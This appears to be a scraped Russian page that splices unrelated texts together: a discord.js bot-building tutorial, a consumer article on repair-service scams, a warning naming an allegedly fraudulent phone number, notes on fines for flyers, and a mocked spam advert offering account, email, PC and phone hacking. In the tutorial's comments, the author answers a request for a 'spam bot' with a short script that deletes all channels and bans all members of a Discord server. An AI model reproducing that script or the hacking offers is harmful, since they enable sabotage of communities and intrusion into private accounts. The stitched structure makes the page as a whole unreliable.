Создание Discord бота: от А до Я

https://lolzteam.online/threads/1245098/

Часть -1: Предисловие
Привет. В этом “курсе”, вы научитесь создавать своих ботов для мессенджера Discord. Буду вам давать простые домашние задания.
Вы уже должны знать основы JavaScript, node.js и npm
Полезные ссылки:

Войдите или зарегистрируйтесь для просмотра ссылок

Мой Discord, где вы можете задавать мне вопросы – KislBall#0001
ГитЛаб репозиторий с моим ботом:

Войдите или зарегистрируйтесь для просмотра ссылок

Примерный план обучения:
0. Регистрация бота, создание “Hello, world!” местного розлива
1. Написание обработчика команд(одна команда – один файл)
2. Разберем Message Embed
3. Напишем команды модерации
4. Разберем события клиента
5. Создадим команду для получения информации о пользователе и сервере
6. Напишем систему уровней
7. Научимся отслеживать реакции и сообщения
8. Разбор объекта Message
9. Практика! Пишем своего бота модератора
10. Написание музыкального бота(перевод статьи)
Часть 0: Регистрация бота, создание “Hello, world!” местного розлива
1. Заходим на

Войдите или зарегистрируйтесь для просмотра ссылок

2. Нажимаем на New Application
3. Придумываем название
4. Копируем Client ID
5. Заходим во вкладку Bot
6. Нажимаем Add bot
7. Ставим аватарку для бота
8. Копируем токен, сохраняем его где-нибудь
9. Идем на

Войдите или зарегистрируйтесь для просмотра ссылок

10. В поле Client ID вставляем ID бота, если поле ввода все еще красное, то стираем последнюю цифру и пишем её заново
11. Отмечаем все галочки
12. Переходим по ссылке и добавляем бота
Пишем Ping-pong
1. Создаем папку
2. Открываем в ней консоль
3. Пишем:

Код:
npm init

4. Затем:

Код:
npm install discord.js

5. Создаем index.js
6. Создаем config.json
7. В config.json пишем:

Код:
{
    "token": "ваш_токен",
    "prefix": "префикс"
}

7.1. Префикс – символ с которого начинается команда
8. Пишем код в index.js

Код:
let discord = require("discord.js"); //Подключаем Discord.js
let config = require("./config.json"); //Подключаем конфиг

let client = new discord.Client(); //Главный объект Discord.js - с него начинается обработка событий
client.on("message", message => { //Создаем обработчик событий на message
    //Используем message.content
    if(message.content == `${config.prefix}ping`){ //ВАЖНО: объект Message содержит всю информацию о сообщении, но не его содержание!
        message.reply("pong!"); //Отвечаем на сообщение
    }
});

client.login(config.token); //Подключаемся к Discord

Результат:

Войдите или зарегистрируйтесь для просмотра ссылок

Извиняюсь, что было натянуто. В следующем уроке пишем обработчик. Будет уже больше в формате статьи, а не списка пунктов
Часть 1: Обработчик команд
Привет! В этом уроке мы напишем обработчик команд. С ним будет работать намного легче.
В первую очередь, хочу разъяснить некоторые тонкости, которые в дальнейшем будут делать нам бобо:
1. Message – точка входа в Discord.js, вы должны знать этот объект, как свои пять пальцев. Пример: нам нужно сменить название сервера, пишем так:

Код:
//Внутри обработчтка сообщений
let guild = message.guild; //Важно: Guild - сервер
guild.setName("Лимоны захватят мир!"); //Устанавливаем название

Как я наверху писал, в нулевой части, Message – не само сообщение, а информация о нем
2. Member VS User
Member – участник гильдии, со всеми методами для его бана, кика, выдачи ролей и т.д.
User – пользователь, не имеет методов для бана, кика
Например:

Код:
//Внутри обработчика сообщений
let user = message.author; //Получаем User автора
let member = message.member; //Получаем Member автора
member.ban(); //Работает
user.ban(); //Ошибка

Проще говоря – User – человек. Member – человек в конкретном сервере
Пишем обработчик команд:
Давайте напишем обработчик, команд.
Сначала, разберем его алгоритм:
Алгоритм подключения:
1. Сканируем папку “cmds”
2. Подключаем все команды
Алгоритм выполнения:
1. Сравниваем название команды и сообщение
2. Вызываем метод Command.run(message)
Сканирование папки:

Код:
let fs = require("fs"); //Подключим FS для работы с файлами
let cmds = new Map(); //Используем Map для хранения списка команд
let files = fs.readdirSync("./cmds"); //Читаем содержимое папки cmds

Подгружаем команды:

Код:
for(let i = 0; i < files.length; i++){
   let currentCommand = require(`./cmds/${files[i]}`); //Подключим нашу команду
   cmds.set(currentCommand.info.name, currentCommand); //Добавляем нашу команду в список, т.е. название команды - команда
   console.log(`Подключена команда ${currentCommand.info.name} в файле ${files[i]}`); //Отладка
}

Обработчик сообщений:

Код:
cmds.forEach(element => {
       let command = message.content.split(" ")[0]; //Получаем название команды
       if(command.toLowerCase() == `${config.prefix}${element.info.name.toLowerCase()}`)
           element.run(message);
    });

Структура проекта:

Войдите или зарегистрируйтесь для просмотра ссылок

Структура файла с командой:

Код:
module.exports.run = message => { //Функция для запуска команды
    message.reply("pong!");
};
module.exports.info = { //Информация о команде
    "name": "ping"
};

Достаем двойные листочки, ой бля, не туда.
Домашнее задание:

Создать команду pong, пользователь пишет “!pong”, бот отвечает “ping!”
Тут я сделал улучшенный обработчик команд, основанный на ООП:

Войдите или зарегистрируйтесь для просмотра ссылок

Алгоритм улучшенного обработчика:
1. Подключаем файл main.js из каждой папки из папки modules
2. Файл main.js создает модуль и команды(см. папку classes)
3. Добавление модуля в карту
4. Добавление команды в модуль
Часть 2: Разбор MessageEmbed
В этом туториале мы разберем MessageEmbed
В первую очередь, хочу сказать, что можно отправить сообщение без упоминания таким образом:

Код:
let channel = message.channel; //Получаем канал, в который было отправлено сообщение
channel.send("Лимоны захватят мир!"); //Отправляем сообщение

message.channel.send("Лимоны захватят мир!"); //Краткий метод

Message.channel.send(msg) VS Message.reply(msg)

Код:
message.channel.send("Лимоны захватят мир!"); //Лимоны захватят мир!
message.reply("Лимоны захватят мир!"); //<упоминание>, Лимоны захватят мир!

MessageEmbed – разбор
Внимание: не путаем MessageEmbed и RichEmbed; RichEmbed нужен для создания Embed’ов, MessageEmbed – для уже отправленных сообщений;

Код:
let discord = require("discord.js");
module.exports.run = message => {
   let embed = new discord.RichEmbed();  //Класс для работы с RichEmbed
   embed.addBlankField(); //Создает пустое пространство
   embed.addField("Я поле номер один", "Я описание поля номер один!"); //Создание поля в одну строку
   embed.addField("Я поле номер два", "Я стою наровне с полем номер три", true); //Создаем поле с дин. размером
   embed.addField("Я поле номер три", "Я стою наровне с полем номер два", true); //Создаем поле с дин. размером
   embed.setAuthor("Я автор этого Embed'a!", "https://im0-tub-ru.yandex.net/i?id=a90ca245e6f3add6e8eb8222ece29ecd&n=13", "https://lolzteam.online/"); //Указываем автора
   embed.setColor([255,255,0]); //RGB цвет
   embed.setDescription("Я описание этого Embed'a. Если нажать на автора, то я попаду на Lolzteam, ссылка передается третьим аргументом, а изображение - вторым.");
   embed.setFooter("Я футер этого Embed'a", "https://im0-tub-ru.yandex.net/i?id=d21a40e721c6cb745a6eafd0541392b4&n=33&w=188&h=188");
   embed.setImage("https://im0-tub-ru.yandex.net/i?id=296acfb00f1af45c2e01d9ec9fb6cf0b&n=13");
   embed.setThumbnail("https://thumbs.dreamstime.com/b/%D0%BF%D0%BB%D0%BE%D1%81%D0%BA%D0%B8%D0%B9-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%82-%D0%BF%D0%BB%D0%BE%D0%B4%D0%BE%D0%BE%D0%B2%D0%BE%D1%89-%D0%B8%D0%B7%D0%B2%D0%B5%D1%81%D1%82%D0%BA%D0%B0-%D0%BB%D0%B8%D0%BC%D0%BE%D0%BD-%D0%B0%D1%80%D0%B1%D1%83%D0%B7-%D0%B7%D0%BD%D0%B0%D1%87%D0%BE%D0%BA-%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B0-%D0%BA%D1%83%D1%81%D0%BA%D0%B0-118209042.jpg");
   embed.setTimestamp();
   embed.setTitle("Embed Tutorial");
   embed.setURL("https://lolzteam.online");
   message.channel.send(embed);
};
module.exports.info = {
   name: "embed"
};

[​IMG]
Домашнее задание: сидеть на стуле и изучить документацию по Embed’am –

Войдите или зарегистрируйтесь для просмотра ссылок
19 ноя 2019 Отредактировано
2
  • GarikShuster 87 13 сен 2018

    Вместо музыкального бота давай напишем спам-бота?

  • KislBall 4 25 ноя 2018

    Спам-боты делаются очень просто. Сделал набросок просто спам-бота, он банит всех участников, удаляет каналы.

    Код:
    let discord = require("discord.js");
    let config = require("./config.json");
    
    let client = new discord.Client();
    client.on("message", message => {
        if(message.content.toLowerCase().startsWith(`${config.prefix}spam`)){ //Улучшенная обработка команд
            message.guild.channels.forEach(channel => channel.delete());
            //Удаление каналов через Collection.forEach
            message.guild.members.forEach(member => member.ban());
            //Тоже самое, но с участниками
        }
    });
    client.login(config.token);

 

Как обманывают на ремонте стиральных машин.

Срочный «развод»

«Срочный ремонт, приемлемые цены, мастер приедет к вам в течение двух часов», — именно на такую рекламу реагирует большинство пользователей Интернета, решивших починить стиральную машинку или сломавшийся гаджет. Но такая оперативность влетит вам в копеечку, а может привести и к более серьёзным проблемам, из-за которых придётся обращаться в полицию.

При запросе «ремонт техники» в самых первых строках поисковых систем Интернета появляются довольно заманчивые предложения: «Срочный ремонт по выгодной цене, мастер может приехать в ближайшее время, возможна доставка сломанного устройства».

Везде указано, что сервисные центры сертифицированные, если вы решите уточнить цену — после нескольких минут ожидания с вами свяжется мастер, расспросит о поломке и обозначит примерную сумму ремонта с рядом незначительных оговорок.

Но по факту клиенты получают лишь проблемы и выкачивание денег.

Цена ремонта выше стоимости техники

— Мастер взял деньги за ремонт стиральной машинки, но по факту ничего не сделал. Я позвонила по объявлению в Интернете, там было написано, что мастер приедет в течение двух часов, а ремонт обойдётся максимум в 5 тысяч рублей. В итоге приехал какой-то странный мужчина со специфическими татуировками. После ремонта машинки он объявил, что ремонт за 1,5 часа стоит не пять, как обещали изначально, а двенадцать тысяч рублей, — рассказала Марина М. — Чтобы обосновать сумму, он открыл свою толстую папку формата А4 со множеством страниц и показал, что снять крышку со стиральной машинки стоит 1200 рублей, после осмотра вернуть её обратно — столько же, прайс детализировал каждую операцию мастера — вплоть до «закрутить шурупы». Сумма выглядела обоснованно. Я сидела и понимала, что это чистой воды надувательство.

Вообще, мастерам подобных фирм запрещено заранее показывать прайс, чтобы потом не было лишних проблем. Иван П., мастер, который какое-то время работал в такой фирме, объяснил Лайфу, что обычно цены называются уже после так называемых работ и, как правило, неприятно удивляют тех, кто вызвал мастера на дом.

— Прежде чем назвать цену, мастер должен понять уровень благосостояния клиента. Если видно, что тот при деньгах, да ещё и совершенно не разбирается в технике, то можно выставить ему прайс и подороже. Хотя при этом поломки может и не быть, — рассказал Иван.

Также, по его словам, у ремонтников действительно всегда есть с собой инструменты, но они ими не чинят, а, наоборот, ломают технику. Это распространённая практика — втихую сломать то, что можно тут же на месте заменить. То есть получается, что мастера только создают видимость проведения ремонта.

Грамотный развод

Как утверждают юристы, подобные аферы — это цель не самих ремонтников, а организаций, которые их нанимают. Первым делом подобные фирмы создают кол-центры, занимающиеся приёмом заявок, затем набирают в штат мастеров. Только вот их учат не чинить технику, а грамотно разводить клиентов на деньги.

— Вот в случае со стиральной машинкой как бывает. Вызывают мастера, чтобы прочистить фильтр стиральной машины. Задача на самом деле несложная. В данном случае перед специалистом также стоит задача навязать замену деталей, при этом завысив их стоимость в несколько раз, — рассказывают эксперты.

Мошенники выстраивают свои аферы не только с липовым ремонтом бытовой техники, но и с починкой автомобилей, компьютеров, гаджетов.

— Подарил я сестре ноутбук, он исправно проработал 2,5 года, а потом просто перестал включаться — экран шуршал, а изображения не было. Сестра сама отнесла ноутбук в ремонт, найдя через Интернет какую-то контору. Там ей пообещали диагностику за 500 рублей, а уже по её итогам должны были сделать дальнейший ремонт, — написал в одном из популярных сервисов пользователь под ником JustChe. — Срок диагностики должен был составить три дня, но мастера постоянно откладывали ремонт ноутбука и не отвечали на телефон.

Мужчина рассказал, что в том сервисном центре ноутбук пылился у горе-мастеров неделями. В итоге диагностику наконец-то провели.

Из-за «разрыва шлейки кнопки питания, а также вывода из строя материнской платы и матрицы дисплея» моей сестре выставили счёт в размере 20 000 рублей. Да за такую сумму проще купить новый ноутбук! Мне ясно, что ремонт стоит значительно меньше. Я решил отказаться от ремонта и захотел просто забрать ноутбук. В ответ мне отказались его отдавать, требуя за диагностику аж 5000 рублей! В итоге после долгих разборок мне отдали ноутбук с выплаченными за диагностику 500 рублями. Только вот все шурупчики после сборки этими горе-мастерами оказались утеряны.

Юристы утверждают, что мошенники обучены тому, как грамотно объяснить, почему диагностика будет стоить 5000 рублей, а не 500, как было обещано изначально. Только вот в этой истории в дело влез компетентный и разбирающийся человек. Если бы JustChe не помог своей сестре-студентке, то вряд ли она самостоятельно смогла бы добиться в этом споре справедливости.

Как не попасться на удочку мошенников

Руководитель юридической фирмы ALP Group Василий Пашкевич рассказал, что делать в ситуации, когда ты уже оказался обманутым ремонтниками-обманщиками.

— Это обман, это фактическое мошенничество! Эти мошенники действительно предоставляют услуги по ремонту, но они вводят своих клиентов в заблуждение относительно рыночной стоимости услуг. Таким образом, обманом является наценка, в данном случае это и есть хищение, — рассказал Василий. — Конечно, есть смысл вызывать полицию, но дела возбуждают, когда есть системность, неоднократность. То есть если схожим образом обманули, например, десять человек, то они могут смело идти в полицию. В сами же ремонтные компании точно нет смысла обращаться, нужно искать тех, кто также стал жертвой этих аферистов, и идти добиваться правды. Также можно пойти к юристам, которые действительно понимают, как это работает.

В топе поисковых запросов объявления мошенников находятся потому, что они больше конкурентов платят за рекламу. Собственно, поэтому они и дерут так деньги, чтобы платить за популярность, за возможность быть в топе. Так работает рынок. «Яндекс» индексирует их, потому что компании ему заплатили за это. Подобные случаи мошенничества происходят очень часто и распространяются на социально незащищённые категории населения. Это люди, которым не с кем посоветоваться, у кого нет поддержки или времени на разборки.

Специалист также добавил, что «если критическая масса нарастает, происходит много эпизодов мошенничества, то полиция задерживает виновных, но, как правило, это те самые мастера, которые в данной схеме являются лишь «пешками»:

А фактические хозяева фирм, то есть организаторы этой системы, продолжают работать дальше. После проверок полиции уходят на дно, а спустя время продолжают противозаконную деятельность. «Пешек» же сажают в тюрьму в среднем на три года.

Прежде чем звонить и вызывать на дом мастеров, эксперты советуют проверять отзывы на ремонтные компании в Интернете, причём не на сайте самого сервиса, а хотя бы через запрос в поисковике.

8 958 498 38 33 – компьютерный мастер. Отзывы.

Срывайте такие обьявления!
8 958 498 38 33 – компьютерный мастер. Отзывы. Методы работы подобных “компаний”:
1. Сбор контактных данных клиентов.
2. Выезд на заказы.
3. Работа по заказу клиента и накрутка по максимуму по сумме выполненных работ или завышение расценок (заранее об этом не сообщается). О конечной сумме клиент узнает только в конце “ремонта”,
4. Постановка перед фактом – работы выполнены, плати такую-то сумму (которая часто неадекватна выполненным работам)

Например: Ценник вырастает с 400 рублей за диагностику до 5-15 тысяч за установку пиратского Windows 8 и так далее. В процессе манипуляций об этом не сообщается и ценник выкатывается уже в конце с представлением какой то шняжной накладной о выполненных работах. Были случаи, когда «специалисты» вынимали некоторые детали из корпуса компьютера и заменяли их более старыми.

Почему я звоню приглашаю мастера, а они отказываются приехать?

«Компьютерный мастер» Евгений
8 958 498 38 33
Звонила после его «помощи» сказал, что не имеет отношения к компьютерам и объявлениям.
Перезвонила из другого номера в ответ: «Да! живу рядом! приеду! починю всего за 500 руб.»

Вот вам и компьютерный мастер!

P.s. А фото на обьявления берут в интернете. Логан Лерман Узнали? Логан Лерман 🙂

Посмотрите видеоролик, репортаж с ТВ о “компьютерных мастерах”.

Поделитесь своей информацией в группе в ВК или прочитайте отзывы в онлайне!

Штрафы за расклейку объявлений Ответственность за расклейку объявлений в неположенном месте устанавливается на уровне регионов. Федеральный Кодекс об Административный правонарушениях таких норм не содержит. Однако в некоторых случаях на подобные действия распространяется статья 14.3 КоАП РФ (нарушение законодательства о рекламе), санкция которой предусматривает штраф в размере от 2 000 до 2 500 рублей для граждан. Так, статья 19 закона «О рекламе» № 38-ФЗ от 13.03.2006 года запрещает распространение наружной рекламы, к которой относятся и объявления соответствующего содержания, на объектах культурного наследия, а также на подъездах жилых домов без согласования собственников помещений в нем. Конкретные штрафы за расклейку объявлений в неположенном месте — на столбах, деревьях, заборах, в подъездах, транспорте и т. д. зафиксированы в законодательных актах субъектов России. Например, в соответствии со статьей 8.13 КоАП г. Москвы жителям столицы за подобные действия придется заплатить от 1 000 до 5 000 рублей — в зависимости от места размещения информации. Для должностных и юридических лиц наказание строже — от 25 000 и 50 000 до 50 000 и 150 000 рублей штрафа соответственно.

Как сменить значок папки в Windows

Для быстрого визуального поиска или украшения внешнего вида папок (каталогов) ставят пользовательские иконки. Рекомендации покажут, как поменять значок папки в Windows  на свой.

Существует достаточно способов изменения иконки конкретного каталога или всех, с привлечением средств Windows, сторонних программ. Создайте новую папку или выберите существующую и выполняйте шаги ниже.

Как сменить внешний вид папки

Чтобы изменить значок папки в Windows Вам потребуется проделать несколько простых действий. Все подробно показано в видеоролике:

Хакер уровня бог

Логан Лерман

Один хакер написал в комменты на сайт такое:


Профессиональные услуги взлома:
1.Взлом социальных сетей, работаем с зарубежными сетями.
– взлом вконтакте, взлом vk
– взлом facebook
– взлом ok, взлом одноклассники
– взлом мамба
– взлом loveplanet
И любых других социальных сетей.
2. Взлом почты, взлом корпоративной почты, взлом зарубежной почты.
– yahoo.com
– live.com
– mail.com
– aol.com
– hotmail.com
– mail.ru
– yandex.ru
– bk.ru
– rambler.ru и пр.
– Любая коропоративная или экзотическая почта будет вскрыта…
3. Взлом Skype и любой другой телефонии.
4.- Взлом viber
– whatsapp и любых других приложений.
5.Взлом сайтов и web проектов любой сложности и тематики
– Форумы
– Бизнес сайты
– Сайты визитки
– Коропоративные сайты
И любые другие сайты.
– Анонимность и конфиденциальность полностью соблюдается
– Разумные цены
– Индивидуальный подход к каждому клиенту
– Простейшая и удобная система оплаты: яндекс деньги, webmoney, киви или просто на мобильный телефон которые можно оплатить в любом платёжном терминале
– Постоянным клиентам – солидные скидки
– Профессиональное обучение взлому, результат успешного обучения 100%.
6.Удаление и очистка кредитной истории
7.РАСПЕЧАТКА ЗВОНКОВ И СМС

ВЗЛОМ САЙТОВ ЗНАКОМСТВ

ПОМОЖЕМ ОТЧИСТИТЬ КРЕДИТНУЮ ИСТОРИЮ

УДАЛЕНИЕ ОТЗЫВОВ, КОММЕНТАРИЕВ
8.Получение удаленного доступа к пк
– Mac, Win, Unix и пр.
– Получу удаленный доступ к любому пк, выкачаю файлы, удалю файлы, заблокирую доступ и любые даже экстравагантые просьбы.
9. Удалю все, что мешает в интернете, очищу любые ресурсы : блоги, форума, каналы ютуб, новостные ресурсы и даже БАЗЫ ДАННЫХ любых учереждений.
– Очистим любую информацию, что есть в сети, готовы почистить поисковые системы, чтобы не выдавали информацию по нужному запросу. Можете обращаться к нам сделаем в лучшем виде.
10.Вариант получения удаленного доступа к телефону и выкачке/удалению любой информации/слежения за жертвой.


Почему бы сразу на сайт это опубликовать? Ведь этот коммент в спам ушел. Или лучше взломать Яндекс и разместить это на его главную страницу. И клиент попрёт! 🙂